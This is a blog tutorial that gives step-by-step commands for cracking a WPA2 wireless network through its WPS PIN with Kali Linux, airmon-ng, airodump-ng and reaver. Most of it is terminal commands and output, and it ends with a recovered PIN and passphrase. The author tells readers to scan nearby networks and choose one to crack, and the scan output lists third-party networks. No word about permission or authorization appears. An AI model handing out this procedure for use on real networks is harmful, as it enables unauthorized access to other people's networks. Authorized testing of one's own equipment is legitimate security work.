ALEXANDRE BORGES - BLOG

Cracking Wireless Networks

Author: **Alexandre Borges**
Revision: **A.1**
Website: **http://alexandreborges.org**

Since ever I've seen lots of wireless tutorias about cracking WEP networking, however it's harder to read additional information about cracking wireless networks which using WPA2. Honestly, I don't intend to delve into many details about the weakness itself and my only concern it to show you straight steps in an easy way.

For this quick demonstration, I'm using the Kali Linux distribution which you can download it from http://www.kali.org/downloads/ and an external wireless interface **ALFA AWUS036H** which is also very known for any attacker and you can buy it anywhere. The wireless router used for this example is a DLINK DIR-615. I could have used the notebook's internal wireless interface, but I've preferred taking an external one because its signal has a better reach.

It's extremely relevant to say: this procedure uses **reaver** tool which attacks the PIN authorization process between a wireless router and any other device. Once you have got the router's PIN (eight digits) the password will be a simple consequence. Nonetheless, this recipe only works if WPS is UNLOCK or UNPROTECTED. There're several cases where even when WPS is disabled the attack worked !

A step-by-step procedure follows:

1) connect the external wireless interface into the notebook's USB port.

2) check if the connected external wireless interface was recognized by operating system:

```
root@hacker:~# iwconfig

wlan1     IEEE 802.11bg  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

eth0      no wireless extensions.

lo        no wireless extensions.

wlan0     IEEE 802.11bgn  ESSID:"SkyNet"
          Mode:Managed  Frequency:2.437 GHz  Access Point: 98:FC:11:C8:73:86
          Bit Rate=18 Mb/s   Tx-Power=16 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=61/70  Signal level=-49 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:17   Missed beacon:0
```

3) Create a monitor interface putting the external wireless interface in monitor mode:

```
root@hacker:~# airmon-ng start wlan1

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
2927    NetworkManager
3048    wpa_supplicant
5605    dhclient
Process with PID 5605 (dhclient) is running on interface wlan0

Interface       Chipset         Driver

wlan1           Realtek RTL8187L        rtl8187 - [phy1]
                                (monitor mode enabled on mon0)
wlan0           Intel 2230      iwlwifi – [phy0]
```

4) Verify if the monitor interface (mon0) was successfully configured:

```
root@hacker:~# iwconfig

mon0     IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Power Management:on

wlan1    IEEE 802.11bg  ESSID:off/any
         Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off

eth0     no wireless extensions.

lo       no wireless extensions.

wlan0    IEEE 802.11bgn  ESSID:"SkyNet"
         Mode:Managed  Frequency:2.437 GHz  Access Point: 98:FC:11:C8:73:86
         Bit Rate=54 Mb/s   Tx-Power=16 dBm
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
         Link Quality=61/70  Signal level=-49 dBm
         Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
         Tx excessive retries:0  Invalid misc:22   Missed beacon:0
```

5) Use **airodump-ng** for searching every near wireless network and choose one of them to try to crack it:

```
root@hacker:~# airodump-ng mon0
```

```
CH  2 ][ Elapsed: 4 s ][ 2013-08-21 06:23

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

64:A0:E7:29:D9:20  -16        4        1    0   1  48e. OPN              StartYourVPN
98:FC:11:C8:73:86  -25       11        1    0   6  54e. WPA2 CCMP   PSK  SkyNet
64:A0:E7:29:A9:60  -35        2        0    0  11  48e. OPN              StartYourVPN
64:A0:E7:29:B6:70  -45        2        0    0   6  48e. OPN              StartYourVPN
64:A0:E7:29:DA:F0  -51        2        0    0   1  48e. OPN              StartYourVPN
00:1E:58:C4:95:0D  -59        6        2    0   2  54 . WPA2 TKIP   PSK  S_S
00:24:A5:D8:55:E1  -59        3        0    0   6  54e. WPA2 CCMP   PSK  <length:  0>
C8:3A:35:44:48:F0  -60        3        0    0   6  54e  WPA2 CCMP   PSK  edsan
00:21:91:72:3B:08  -61        2        0    0  11  54 . WPA2 CCMP   PSK  <length:  0>
00:21:91:74:60:C2  -61        5        0    0  11  54 . WPA2 CCMP   PSK  lab
50:A7:33:47:5E:F8  -62        2        0    0   6  54e. OPN              WiFi Starbucks
50:A7:33:07:5E:F8  -63        2        0    0   6  54e. OPN              Oi WiFi
98:FC:11:CB:E9:CF  -64        2        0    0   9  54e. WPA2 CCMP   PSK  RUDI-WORK
00:1C:0E:26:97:E0  -64        3        0    0   1  54e. WPA  TKIP   MGT  wnauniversal
```

6) Finally, use reaver to crack the PIN number and reavel the wireless key. You must be aware that the attack takes between 2 hours to 24 hours. This example took around two hours:

```
root@hacker:~# reaver -i mon0 -b 98:FC:11:C8:73:86

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Max time remaining at this rate: 0:32:32 (976 pins left to try)
[+] 91.17% complete @ 2013-08-21 07:12:39 (2 seconds/pin)
[+] Max time remaining at this rate: 0:32:22 (971 pins left to try)
[+] 91.21% complete @ 2013-08-21 07:12:54 (2 seconds/pin)
[+] Max time remaining at this rate: 0:32:14 (967 pins left to try)
[+] 91.25% complete @ 2013-08-21 07:13:04 (2 seconds/pin)
[+] Max time remaining at this rate: 0:32:04 (962 pins left to try)
[+] 91.30% complete @ 2013-08-21 07:13:15 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:54 (957 pins left to try)
[+] 91.35% complete @ 2013-08-21 07:13:25 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:44 (952 pins left to try)
[+] 91.38% complete @ 2013-08-21 07:13:34 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:36 (948 pins left to try)
[+] 91.42% complete @ 2013-08-21 07:13:45 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:28 (944 pins left to try)
[+] 91.45% complete @ 2013-08-21 07:13:59 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:20 (940 pins left to try)
[+] 91.50% complete @ 2013-08-21 07:14:10 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:10 (935 pins left to try)
[+] 91.55% complete @ 2013-08-21 07:14:20 (2 seconds/pin)
[+] Max time remaining at this rate: 0:31:00 (930 pins left to try)
[+] WPS PIN: '12650613'
[+] WPA PSK: 'hacker123!'
[+] AP SSID: 'SkyNet'
```

Amazing. From this point, anyone can connect to this wireless network using the password 'hacker123!'. Have a nice day.

Alexandre Borges.